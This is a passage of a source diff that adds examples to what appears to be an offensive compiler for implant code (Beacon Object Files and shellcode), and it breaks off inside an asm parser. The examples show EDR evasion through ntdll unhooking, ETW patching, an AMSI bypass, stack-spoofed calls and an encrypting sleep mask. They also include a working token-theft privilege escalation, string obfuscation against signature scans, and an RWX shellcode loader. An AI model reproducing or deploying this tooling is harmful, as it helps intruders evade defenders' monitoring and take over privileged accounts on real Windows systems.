b[0] = (u8)0x41;
|
||||
b[63] = (u8)0x42;
|
||||
BeaconPrintf(0, str.format("[+] alloc 64 bytes at {p}, first=0x{x} last=0x{x}\n",
|
||||
buf, (int)b[0], (int)b[63]));
|
||||
mem.free(buf);
|
||||
BeaconPrintf(0, "[+] freed\n");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_named_consts_demo.etpy - Win32 constants without `use_c`.
|
||||
//
|
||||
// Every #define in stdlib/win32/*.h is now auto-included on
|
||||
// every build. Magic-number arguments to Win32 calls become
|
||||
// readable names with zero ceremony.
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
BeaconPrintf(0, str.format("PROCESS_QUERY_INFORMATION = 0x{x}\n",
|
||||
(int)PROCESS_QUERY_INFORMATION));
|
||||
BeaconPrintf(0, str.format("TOKEN_DUPLICATE = 0x{x}\n",
|
||||
(int)TOKEN_DUPLICATE));
|
||||
BeaconPrintf(0, str.format("MEM_COMMIT = 0x{x}\n",
|
||||
(int)MEM_COMMIT));
|
||||
BeaconPrintf(0, str.format("PAGE_EXECUTE_READWRITE = 0x{x}\n",
|
||||
(int)PAGE_EXECUTE_READWRITE));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_opsec_stack_demo.etpy - demonstrate the one-line OPSEC
|
||||
// modules.
|
||||
//
|
||||
// Three `use` statements wire three [Stage(Init)] handlers
|
||||
// that fire at startup before the user body runs:
|
||||
//
|
||||
// 1. opsec_unhook - reload ntdll from disk over the loaded
|
||||
// copy, wiping every EDR inline hook.
|
||||
// 2. opsec_etw - patch EtwEventWrite + variants so trace
|
||||
// providers stop receiving events.
|
||||
// 3. opsec_amsi - patch AmsiScanBuffer so AMSI scan
|
||||
// requests return E_INVALIDARG.
|
||||
//
|
||||
// Build: entc compile example/bof_opsec_stack_demo.etpy --type=bof
|
||||
// Run: bof-runner example/bin/bof_opsec_stack_demo.x64.o
|
||||
|
||||
use bof;
|
||||
use opsec_unhook;
|
||||
use opsec_etw;
|
||||
use opsec_amsi;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
BeaconPrintf(0, "[+] opsec stack engaged\n");
|
||||
BeaconPrintf(0, "[+] ntdll unhooked, ETW silenced, AMSI bypassed\n");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
use bof;
|
||||
use_c "stdlib/win32/toolhelp.h";
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
|
||||
var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0xFFFFFFFFFFFFFFFF {
|
||||
BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
var pe: PROCESSENTRY32;
|
||||
|
||||
pe.dwSize = (u32)sizeof(PROCESSENTRY32);
|
||||
|
||||
var ok: int = Kernel32.Process32First((void*)snap, &pe);
|
||||
if ok == 0 {
|
||||
Kernel32.CloseHandle((void*)snap);
|
||||
BeaconPrintf(0, "[!] Process32First failed (empty snapshot)\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
BeaconPrintf(0, "[+] PID Process\n");
|
||||
BeaconPrintf(0, "[+] ----- -----------------------------\n");
|
||||
var count: int = 0;
|
||||
while ok != 0 {
|
||||
BeaconPrintf(0, str.format("[+] {d} {s}\n",
|
||||
(int)pe.th32ProcessID,
|
||||
(char*)pe.szExeFile));
|
||||
count = count + 1;
|
||||
ok = Kernel32.Process32Next((void*)snap, &pe);
|
||||
}
|
||||
|
||||
Kernel32.CloseHandle((void*)snap);
|
||||
BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_pslist_spoofed.etpy - process enumeration with stack-spoofed
|
||||
// Win32 calls.
|
||||
//
|
||||
// Same tradecraft as bof_pslist.etpy but every Toolhelp32 call
|
||||
// is dispatched through stackspoof_callN so the kernel-side stack walk during the call sees ntdll-shaped frames instead of our memory.
|
||||
//
|
||||
// What you're trading:
|
||||
// - Two extra Win32 calls per spoofed dispatch
|
||||
// (GetModuleHandleA + GetProcAddress to resolve fn_ptr).
|
||||
// - +6 bytes per call site (the helper stub).
|
||||
//
|
||||
// Build: entc compile example/bof_pslist_spoofed.etpy --type=bof
|
||||
// Run: bof-runner example/bof_pslist_spoofed.obj
|
||||
|
||||
use bof;
|
||||
use opsec_stack_spoof;
|
||||
use_c "stdlib/win32/toolhelp.h";
|
||||
|
||||
// Resolve a Win32 export to a raw function pointer for use with
|
||||
// the stackspoof helpers. Wrapping GetModuleHandleA + GetProcAddress so the operator-visible code stays tidy.
|
||||
fn resolve(module: str, function: str) -> u64 {
|
||||
var h: void* = Kernel32.GetModuleHandleA(module);
|
||||
if h == (void*)0 { ret 0; }
|
||||
ret (u64)Kernel32.GetProcAddress(h, function);
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
// discover the JMP RBX gadget so the per-call overhead stays constant.
|
||||
//(Optional - the first stackspoof_callN does the discovery lazily anyway)
|
||||
var gadget: u64 = stackspoof_init();
|
||||
if gadget == 0 {
|
||||
BeaconPrintf(0, "[!] no JMP RBX gadget found; falling back to plain calls\n");
|
||||
} else {
|
||||
BeaconPrintf(0, str.format("[+] JMP RBX gadget @ 0x{x}\n", (int)gadget));
|
||||
}
|
||||
|
||||
var pCreateSnap: u64 = resolve("kernel32.dll", "CreateToolhelp32Snapshot");
|
||||
var pProcFirst: u64 = resolve("kernel32.dll", "Process32First");
|
||||
var pProcNext: u64 = resolve("kernel32.dll", "Process32Next");
|
||||
var pCloseHandle:u64 = resolve("kernel32.dll", "CloseHandle");
|
||||
|
||||
// CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
var snap: u64 = stackspoof_call2(pCreateSnap, (u64)TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0xFFFFFFFFFFFFFFFF {
|
||||
BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
var pe: PROCESSENTRY32;
|
||||
pe.dwSize = (u32)sizeof(PROCESSENTRY32);
|
||||
|
||||
// Process32First(snap, &pe)
|
||||
var ok: u64 = stackspoof_call2(pProcFirst, snap, (u64)&pe);
|
||||
if ok == 0 {
|
||||
stackspoof_call1(pCloseHandle, snap);
|
||||
BeaconPrintf(0, "[!] Process32First failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
BeaconPrintf(0, "[+] PID Process (spoofed-call dispatch)\n");
|
||||
var count: int = 0;
|
||||
while ok != 0 {
|
||||
BeaconPrintf(0, str.format("[+] {d} {s}\n",
|
||||
(int)pe.th32ProcessID,
|
||||
(char*)pe.szExeFile));
|
||||
count = count + 1;
|
||||
ok = stackspoof_call2(pProcNext, snap, (u64)&pe);
|
||||
}
|
||||
stackspoof_call1(pCloseHandle, snap);
|
||||
BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_sleep_mask_demo.etpy - operator-defined sleep mask.
|
||||
//
|
||||
// Demonstrates the `stdlib/opsec/sleep_mask.etpy` interface: the
|
||||
// operator declares a `[Hook("KERNEL32$Sleep")]` function; the
|
||||
// compiler routes every `Kernel32.Sleep(...)` through it. Self-
|
||||
// recursion inside the hook calls the REAL Sleep - the hook
|
||||
// machinery's auto-bypass makes the natural `Kernel32.Sleep(...)`
|
||||
// inside the body Just Work without an infinite loop.
|
||||
//
|
||||
// Build: entc compile example/bof_sleep_mask_demo.etpy --type=bof
|
||||
// Run: bof-runner example/bof_sleep_mask_demo.obj
|
||||
//
|
||||
// Expected output:
|
||||
//
|
||||
// [BOF] [+] secret = AAAAAAAAAAAAAAAA
|
||||
// [BOF] [HOOK] sleeping 100 ms, mask key=0x5a
|
||||
// [BOF] [HOOK] re-encrypting the scratch region
|
||||
// [BOF] [HOOK] (real Sleep happens here)
|
||||
// [BOF] [HOOK] decrypting
|
||||
// [BOF] [+] secret after sleep = AAAAAAAAAAAAAAAA
|
||||
//
|
||||
|
||||
use bof;
|
||||
use opsec_sleep_mask;
|
||||
|
||||
// A piece of "secret" data we'll mask across the sleep. In a real mplant this would be the implant body itself (.bin contents). For the demo we keep it small + on the heap.
|
||||
static __demo_secret_size: int = 16;
|
||||
|
||||
fn make_secret() -> u64 {
|
||||
var p: u64 = mem.alloc(16);
|
||||
var b: char* = (char*)p;
|
||||
var i: int = 0;
|
||||
while i < 16 {
|
||||
b[i] = (u8)0x41; // 'A'
|
||||
i = i + 1;
|
||||
}
|
||||
ret p;
|
||||
}
|
||||
|
||||
// Sleep mask. Every Kernel32.Sleep(ms) call site in the program
|
||||
// is redirected here at compile time by the [Hook] machinery.
|
||||
// The body manipulates the demo secret around a call to the real
|
||||
// Sleep (the self-recursion bypass turns the inner Kernel32.Sleep into a normal dispatch skipping this hook).
|
||||
//
|
||||
// Operators replace the body with:
|
||||
// 1. Resolve the implant's runtime base + length (operator-known)
|
||||
// 2. Encrypt with whatever cipher they want (AES / XOR)
|
||||
// 3. VirtualProtect to RW (drop execute)
|
||||
// 4. Call the real Sleep or a different sleep primitive that
|
||||
// doesnt show up as a Sleep frame on the call stack (e.g. CreateTimerQueueTimer + NtContinue / Ekko)
|
||||
// 5. VirtualProtect to restore.
|
||||
// 6. Decrypt
|
||||
static __demo_secret_ptr: u64 = 0;
|
||||
|
||||
[Hook("KERNEL32$Sleep")]
|
||||
fn my_sleep_mask(ms: u32) -> void {
|
||||
BeaconPrintf(0, str.format("[HOOK] sleeping {d} ms, mask key=0x5a\n", (int)ms));
|
||||
var key: u8 = (u8)0x5A;
|
||||
|
||||
// Encrypt: flip every byte with the key.
|
||||
BeaconPrintf(0, "[HOOK] re-encrypting the scratch region\n");
|
||||
opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key);
|
||||
|
||||
// Call the REAL Sleep. The hook self-recursion bypass turns this into a normal Kernel32.Sleep dispatch (no infinite loop back into us)
|
||||
BeaconPrintf(0, "[HOOK] (real Sleep happens here)\n");
|
||||
Kernel32.Sleep(ms);
|
||||
|
||||
// Decrypt. XOR is involutive, same key undoes the masking.
|
||||
BeaconPrintf(0, "[HOOK] decrypting\n");
|
||||
opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key);
|
||||
ret;
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
__demo_secret_ptr = make_secret();
|
||||
var as_bytes: char* = (char*)__demo_secret_ptr;
|
||||
BeaconPrintf(0, str.format("[+] secret = {s}\n", as_bytes));
|
||||
|
||||
// The Sleep below goes through `my_sleep_mask` automatically the operator's code stays clean
|
||||
Kernel32.Sleep(100);
|
||||
|
||||
BeaconPrintf(0, str.format("[+] secret after sleep = {s}\n", as_bytes));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_stack_strings_demo.etpy - exercise --opsec=stack_strings.
|
||||
//
|
||||
// Without the flag: each BeaconPrintf string goes into .rdata and shows up under strings <bin> immediately.
|
||||
//
|
||||
// With the flag: short literals are rebuilt on the stack at
|
||||
// runtime via mov rax, imm64; mov [rbp+disp], rax sequences.
|
||||
// strings <bin> finds nothing recognisable in .rdata.
|
||||
//
|
||||
// Build (try both, compare with strings):
|
||||
// entc compile example/bof_stack_strings_demo.etpy --type=bof
|
||||
// entc compile example/bof_stack_strings_demo.etpy --type=bof --opsec=stack_strings
|
||||
// strings example/bof_stack_strings_demo.x64.o | grep -E "hello|signature|tripwire"
|
||||
// Run:
|
||||
// bof-runner example/bof_stack_strings_demo.x64.o
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
BeaconPrintf(0, "hello from a stack string\n");
|
||||
BeaconPrintf(0, "another signature line\n");
|
||||
BeaconPrintf(0, "tripwire: this should NOT appear in .rdata\n");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_stage_test.etpy - exercises [Stage(Init)] / [Stage(Exit)]
|
||||
// lifecycle hooks. Demonstrates the OPSEC developer API:
|
||||
//
|
||||
// The init handler runs ONCE before user code, can call Win32.
|
||||
// The exit handler runs ONCE before the entry returns, can call
|
||||
// Win32, preserves the return value.
|
||||
|
||||
use bof;
|
||||
|
||||
static __init_counter: int = 0;
|
||||
static __exit_counter: int = 0;
|
||||
|
||||
[Stage(Init)]
|
||||
fn opsec_init_a() -> void {
|
||||
__init_counter = __init_counter + 1;
|
||||
BeaconPrintf(0, "[INIT-A] before user code\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
[Stage(Init)]
|
||||
fn opsec_init_b() -> void {
|
||||
__init_counter = __init_counter + 10;
|
||||
BeaconPrintf(0, "[INIT-B] also before user code\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
[Stage(Exit)]
|
||||
fn opsec_exit_a() -> void {
|
||||
__exit_counter = __exit_counter + 1;
|
||||
BeaconPrintf(0, "[EXIT-A] just before ret\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
BeaconPrintf(0, str.format("[USER] running: init_counter={d}\n", __init_counter));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_token_steal.etpy - privilege escalation via token theft.
|
||||
//
|
||||
// Same tradecraft as TrustedSec's `steal_token` BOF; ~80 lines
|
||||
// instead of ~400 because:
|
||||
// * the language already lowers structured-binding calls to the
|
||||
// Win64 ABI (no manual rcx/rdx juggling);
|
||||
// * BeaconUseToken / BeaconRevertToken are typed extern fns out
|
||||
// of `use bof;` - no header wrestling;
|
||||
// * the inline struct decl matches the OS ABI directly.
|
||||
//
|
||||
// Build: entc compile example/bof_token_steal.etpy --type=bof
|
||||
// Args: --iarg <pid> (target process; required)
|
||||
// Run: bof-runner example/bof_token_steal.obj --iarg 1648 # services.exe
|
||||
//
|
||||
// Pre-conditions:
|
||||
// * SeDebugPrivilege on the calling token (admin / SYSTEM).
|
||||
// * The target's primary token must be impersonatable (which
|
||||
// it is for any process whose owner SID we hold or which is
|
||||
// SecurityImpersonation-class - services.exe always works).
|
||||
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
|
||||
var parser: datap;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
var pid: int = BeaconDataInt(&parser);
|
||||
|
||||
if pid == 0 {
|
||||
BeaconPrintf(0, "[!] usage: token_steal <pid>\n");
|
||||
BeaconPrintf(0, " pick a SYSTEM-owned PID via the `ps` BOF first.\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
BeaconPrintf(0, str.format("[+] targeting pid {d}\n", pid));
|
||||
|
||||
// Requires SeDebugPrivilege to open a SYSTEM-owned process.
|
||||
var h_proc: u64 = (u64)Kernel32.OpenProcess(
|
||||
PROCESS_QUERY_INFORMATION, 0, (u32)pid);
|
||||
if h_proc == 0 {
|
||||
BeaconPrintf(0, "[!] OpenProcess failed (need SeDebugPrivilege)\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
var h_token: u64 = 0;
|
||||
var ok: int = Advapi32.OpenProcessToken(
|
||||
(void*)h_proc,
|
||||
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE,
|
||||
&h_token);
|
||||
if ok == 0 {
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
BeaconPrintf(0, "[!] OpenProcessToken failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
var h_dup: u64 = 0;
|
||||
ok = Advapi32.DuplicateTokenEx((void*)h_token, 0, (void*)0, 2, 2, &h_dup);
|
||||
|
||||
// Source token + process handle no longer needed once the duplicate is in hand. Close in reverse order of opening so a leak in DuplicateTokenEx doesn't strand them.
|
||||
Kernel32.CloseHandle((void*)h_token);
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
|
||||
if ok == 0 || h_dup == 0 {
|
||||
BeaconPrintf(0, "[!] DuplicateTokenEx failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
// BeaconUseToken installs the impersonation token as the identity used for subsequent BOFs + commands.
|
||||
var used: bool = BeaconUseToken((void*)h_dup);
|
||||
if used == false {
|
||||
Kernel32.CloseHandle((void*)h_dup);
|
||||
BeaconPrintf(0, "[!] BeaconUseToken refused the token\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
BeaconPrintf(0, str.format("[+] token from pid {d} installed\n", pid));
|
||||
BeaconPrintf(0, "[+] use `getuid` to confirm, `rev2self` to release\n");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
BeaconPrintf(0, "[*] Crashing...\n");
|
||||
|
||||
try {
|
||||
var p: u32* = (u32*)0;
|
||||
var v: u32 = *p; // EXCEPTION_ACCESS_VIOLATION
|
||||
BeaconPrintf(0, str.format("[?] should not print: {d}\n", (int)v));
|
||||
} catch err {
|
||||
BeaconPrintf(0, str.format("[+] caught exception 0x{x}\n", err));
|
||||
}
|
||||
|
||||
BeaconPrintf(0, "[+] BOF survived - returning\n");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// opsec_string_test.etpy - non-UI verifier for --opsec=strings_xor.
|
||||
//
|
||||
// Build:
|
||||
// entc compile example/opsec_string_test.etpy
|
||||
// entc compile example/opsec_string_test.etpy --opsec=strings_xor --seed=42
|
||||
// Run:
|
||||
// target/release/entc-debug.exe trace example/opsec_string_test.bin
|
||||
// to expect exit code 0x4F4B ("OK" big-endian) on success.
|
||||
|
||||
fn main() -> int {
|
||||
// The string literal goes into .rdata.
|
||||
//With --opsec=strings_xor the bytes are XOR-encrypted at build time, the decryptor runs at entry, and by the time we reach this line the string is back to plaintext.
|
||||
// If decryption failed, the byte we compare against below won't match O (0x4F).
|
||||
var s: char* = (char*)"OK";
|
||||
var b0: int = (int)s[0];
|
||||
var b1: int = (int)s[1];
|
||||
// Return 0x4F4B if both bytes match otherwise 0xBAD
|
||||
if b0 == 0x4F {
|
||||
if b1 == 0x4B {
|
||||
ret 0x4F4B;
|
||||
}
|
||||
}
|
||||
ret 0xBAD;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// sc_manual_mem.etpy - standard shellcode test for --gc=manual.
|
||||
|
||||
fn main() -> int {
|
||||
var buf: u64 = mem.alloc(64);
|
||||
if buf == 0 { ret 1; }
|
||||
var b: u8* = (u8*)buf;
|
||||
b[0] = (u8)0x41;
|
||||
var first: int = (int)b[0];
|
||||
mem.free(buf);
|
||||
Kernel32.ExitProcess(0);
|
||||
ret first;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// sc_stack_strings_demo.etpy - verify `--opsec=stack_strings` in
|
||||
// standard shellcode mode.
|
||||
//
|
||||
// entc compile example/sc_stack_strings_demo.etpy --opsec=stack_strings
|
||||
// strings example/sc_stack_strings_demo.bin
|
||||
|
||||
fn main() -> int {
|
||||
var s1: str = "shellcode hidden marker 1\n";
|
||||
var s2: str = "shellcode hidden marker 2\n";
|
||||
|
||||
ret 0;
|
||||
}
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// run_bin.rs — load an EntropyKit .bin and execute it. Linux x86-64 only.
|
||||
// Build: rustc -O run_bin.rs -o run_bin
|
||||
// Use: ./run_bin example/gc_demo.bin
|
||||
//
|
||||
// On Windows the equivalent is the bundled `example/sclauncher64.exe`,
|
||||
// which does VirtualAlloc(PAGE_EXECUTE_READWRITE) + memcpy + call.
|
||||
|
||||
use std::env;
|
||||
use std::ffi::c_void;
|
||||
use std::fs;
|
||||
|
||||
extern "C" {
|
||||
fn mmap(addr: *mut c_void, len: usize, prot: i32, flags: i32, fd: i32, off: i64) -> *mut c_void;
|
||||
fn munmap(addr: *mut c_void, len: usize) -> i32;
|
||||
}
|
||||
const PROT_READ: i32 = 1;
|
||||
const PROT_WRITE: i32 = 2;
|
||||
const PROT_EXEC: i32 = 4;
|
||||
const MAP_PRIVATE: i32 = 0x02;
|
||||
const MAP_ANON: i32 = 0x20;
|
||||
|
||||
fn main() {
|
||||
let path = env::args().nth(1).expect("usage: run_bin <file.bin>");
|
||||
let bytes = fs::read(&path).expect("read");
|
||||
let len = (bytes.len() + 4095) & !4095;
|
||||
|
||||
unsafe {
|
||||
let p = mmap(std::ptr::null_mut(), len,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANON, -1, 0);
|
||||
assert!(p as isize != -1, "mmap failed");
|
||||
std::ptr::copy_nonoverlapping(bytes.as_ptr(), p as *mut u8, bytes.len());
|
||||
|
||||
// EntropyKit emits Win64 calling convention (args in rcx/rdx/r8/r9).
|
||||
// On Linux rcx isn't a "host services" pointer; main's prologue still
|
||||
// saves it, but `shared.*` will see NULL and short-circuit to zero.
|
||||
// For zero-arg main(), rcx is irrelevant — rax holds the return value.
|
||||
let entry: extern "win64" fn() -> i64 = std::mem::transmute(p);
|
||||
let result = entry();
|
||||
println!("returned: {} (0x{:x})", result, result);
|
||||
|
||||
munmap(p, len);
|
||||
}
|
||||
}
|
||||
+368
@@ -0,0 +1,368 @@
|
||||
|
||||
use crate::encoder::{Reg64, Segment};
|
||||
|
||||
// AST
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum AsmOperand {
|
||||
Reg(Reg64),
|
||||
Imm(i64),
|
||||
/// %name - resolved at codegen against the enclosing scope.
|
||||
Sym(String),
|
||||
Mem(AsmMem),
|
||||
}
|
||||
|
||||
/// [base ± index*scale ± disp]. Components are optional.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct AsmMem {
|
||||
/// Register or %name (mutually exclusive in V1).
|
||||
pub base: Option<AsmMemBase>,
|
||||
/// (register, scale). Scale ∈ {1,2,4,8}.
|
||||
pub index: Option<(Reg64, u32)>,
|
||||
pub disp: i32,
|
||||
/// gs: / fs: override (None = flat segment).
|
||||
pub seg: Option<Segment>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum AsmMemBase {
|
||||
Reg(Reg64),
|
||||
Sym(String),
|
||||
}
|
||||
|
||||
/// Mnemonic is a string so the AST doesn't enumerate every variant;
|
||||
/// codegen dispatches per-mnemonic.
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum AsmBody {
|
||||
Op0 { mnem: String },
|
||||
Op1 { mnem: String, op: AsmOperand },
|
||||
Op2 { mnem: String, dst: AsmOperand, src: AsmOperand },
|
||||
Label (String),
|
||||
Db (Vec<u8>),
|
||||
}
|
||||
|
||||
/// Parsed asm line with source position for debug breadcrumbs.
|
||||
/// line == 0 is "unknown" (synthetic / pre-parsed).
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct AsmLine {
|
||||
pub line: u32,
|
||||
pub col: u32,
|
||||
pub body: AsmBody,
|
||||
}
|
||||
|
||||
impl AsmLine {
|
||||
#[allow(dead_code)]
|
||||
pub fn from_body(body: AsmBody) -> Self {
|
||||
Self { line: 0, col: 0, body }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// PARSER
|
||||
|
||||
/// Parse one asm line. Forms: name:, db 0x..[, 0x..]*, or
|
||||
/// mnem [operand[, operand]]. Empty lines are rejected.
|
||||
pub fn parse_asm_line(line: &str) -> Result<AsmBody, String> {
|
||||
let trimmed = strip_trailing_comment(line).trim();
|
||||
if trimmed.is_empty() { return Err("empty asm line".into()); }
|
||||
|
||||
// Label declaration: name: or name :
|
||||
if let Some(name) = parse_label_decl(trimmed) {
|
||||
return Ok(AsmBody::Label(name));
|
||||
}
|
||||
|
||||
// db 0x.., 0x..
|
||||
if let Some(rest) = trimmed.strip_prefix("db ").or_else(|| trimmed.strip_prefix("db\t")) {
|
||||
return parse_db(rest);
|
||||
}
|
||||
|
||||
// Generic mnemonic + comma-separated operands.
|
||||
let (mnem, rest) = split_mnemonic(trimmed);
|
||||
let operands = if rest.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
split_top_level_commas(rest)?
|
||||
.iter()
|
||||
.map(|s| parse_operand(s.trim()))
|
||||
.collect::<Result<Vec<_>, _>>()?
|
||||
};
|
||||
|
||||
let mnem = mnem.to_ascii_lowercase();
|
||||
match operands.len() {
|
||||
0 => Ok(AsmBody::Op0 { mnem }),
|
||||
1 => Ok(AsmBody::Op1 { mnem, op: operands.into_iter().next().unwrap() }),
|
||||
2 => {
|
||||
let mut it = operands.into_iter();
|
||||
let dst = it.next().unwrap();
|
||||
let src = it.next().unwrap();
|
||||
Ok(AsmBody::Op2 { mnem, dst, src })
|
||||
}
|
||||
n => Err(format!("`{mnem}` takes 0/1/2 operands, got {n}")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Strip // ... from EOL. The host parser already removes //
|
||||
/// from source-level tokens; this catches comments appended to
|
||||
/// individual asm lines.
|
||||
fn strip_trailing_comment(line: &str) -> &str {
|
||||
if let Some(idx) = line.find("//") { return &line[..idx]; }
|
||||
line
|
||||
}
|
||||
|
||||
/// name: -> bare label name. Anything else -> None.
|
||||
fn parse_label_decl(s: &str) -> Option<String> {
|
||||
let body = s.strip_suffix(':')?;
|
||||
let name = body.trim();
|
||||
if name.is_empty() { return None; }
|
||||
validate_ident(name).ok()?;
|
||||
Some(name.to_string())
|
||||
}
|
||||
|
||||
/// (mnemonic, rest). Mnemonic ends at the first whitespace.
|
||||
fn split_mnemonic(s: &str) -> (&str, &str) {
|
||||
let bytes = s.as_bytes();
|
||||
let mut i = 0;
|
||||
while i < bytes.len() && !(bytes[i] as char).is_ascii_whitespace() {
|
||||
i += 1;
|
||||
}
|
||||
let mnem = &s[..i];
|
||||
let rest = s[i..].trim_start();
|
||||
(mnem, rest)
|
||||
}
|
||||
|
||||
/// Comma-split, but respect [ ... ] so [rbp + 4*rax] doesn't tear.
|
||||
fn split_top_level_commas(s: &str) -> Result<Vec<&str>, String> {
|
||||
let mut out = Vec::new();
|
||||
let mut depth = 0;
|
||||
let mut start = 0;
|
||||
let bytes = s.as_bytes();
|
||||
for (i, &b) in bytes.iter().enumerate() {
|
||||
match b {
|
||||
b'[' | b'(' => depth += 1,
|
||||
b']' | b')' => {
|
||||
if depth == 0 { return Err("unmatched `]` / `)` in asm operand".into()); }
|
||||
depth -= 1;
|
||||
}
|
||||
b',' if depth == 0 => {
|
||||
out.push(&s[start..i]);
|
||||
start = i + 1;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if depth != 0 { return Err("unmatched `[` / `(` in asm operand".into()); }
|
||||
out.push(&s[start..]);
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
fn parse_db(rest: &str) -> Result<AsmBody, String> {
|
||||
let mut bytes = Vec::new();
|
||||
for piece in rest.split(',') {
|
||||
let p = piece.trim();
|
||||
let val: i64 = parse_int_literal(p)?;
|
||||
if !(0..=0xFF).contains(&val) {
|
||||
return Err(format!("db value out of range: {p}"));
|
||||
}
|
||||
bytes.push(val as u8);
|
||||
}
|
||||
Ok(AsmBody::Db(bytes))
|
||||
}
|
||||
|
||||
/// Decimal / hex / negative integer literal. Hex needs 0x prefix.
|
||||
fn parse_int_literal(s: &str) -> Result<i64, String> {
|
||||
let s = s.trim();
|
||||
if let Some(neg) = s.strip_prefix('-') {
|
||||
let v = parse_int_literal(neg)?;
|
||||
return Ok(v.wrapping_neg());
|
||||
}
|
||||
if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) {
|
||||
return u64::from_str_radix(h, 16)
|
||||
.map(|v| v as i64)
|
||||
.map_err(|e| format!("bad hex literal `{s}`: {e}"));
|
||||
}
|
||||
s.parse::<i64>().map_err(|e| format!("bad integer `{s}`: {e}"))
|
||||
}
|
||||
|
||||
/// Routes by leading char: [ mem, % sym, digit/- imm, else reg.
|
||||
fn parse_operand(s: &str) -> Result<AsmOperand, String> {
|
||||
let s = s.trim();
|
||||
if s.is_empty() { return Err("empty operand".into()); }
|
||||
if s.starts_with('[') {
|
||||
return parse_mem_operand(s, None);
|
||||
}
|
||||
// gs:[...] / fs:[...]
|
||||
if let Some(rest) = strip_seg_prefix(s) {
|
||||
let (seg, body) = rest;
|
||||
if !body.starts_with('[') {
|
||||
return Err(format!(
|
||||
"asm: segment override `{}:` must be followed by `[ ... ]`",
|
||||
match seg { Segment::Fs => "fs", Segment::Gs => "gs" }
|
||||
));
|
||||
}
|
||||
return parse_mem_operand(body, Some(seg));
|
||||
}
|
||||
if let Some(name) = s.strip_prefix('%') {
|
||||
let name = name.trim();
|
||||
if name.is_empty() {
|
||||
return Err("`%` operand: missing name".into());
|
||||
}
|
||||
validate_ident(name)?;
|
||||
return Ok(AsmOperand::Sym(name.to_string()));
|
||||
}
|
||||
if s.starts_with('-') || s.as_bytes()[0].is_ascii_digit() {
|
||||
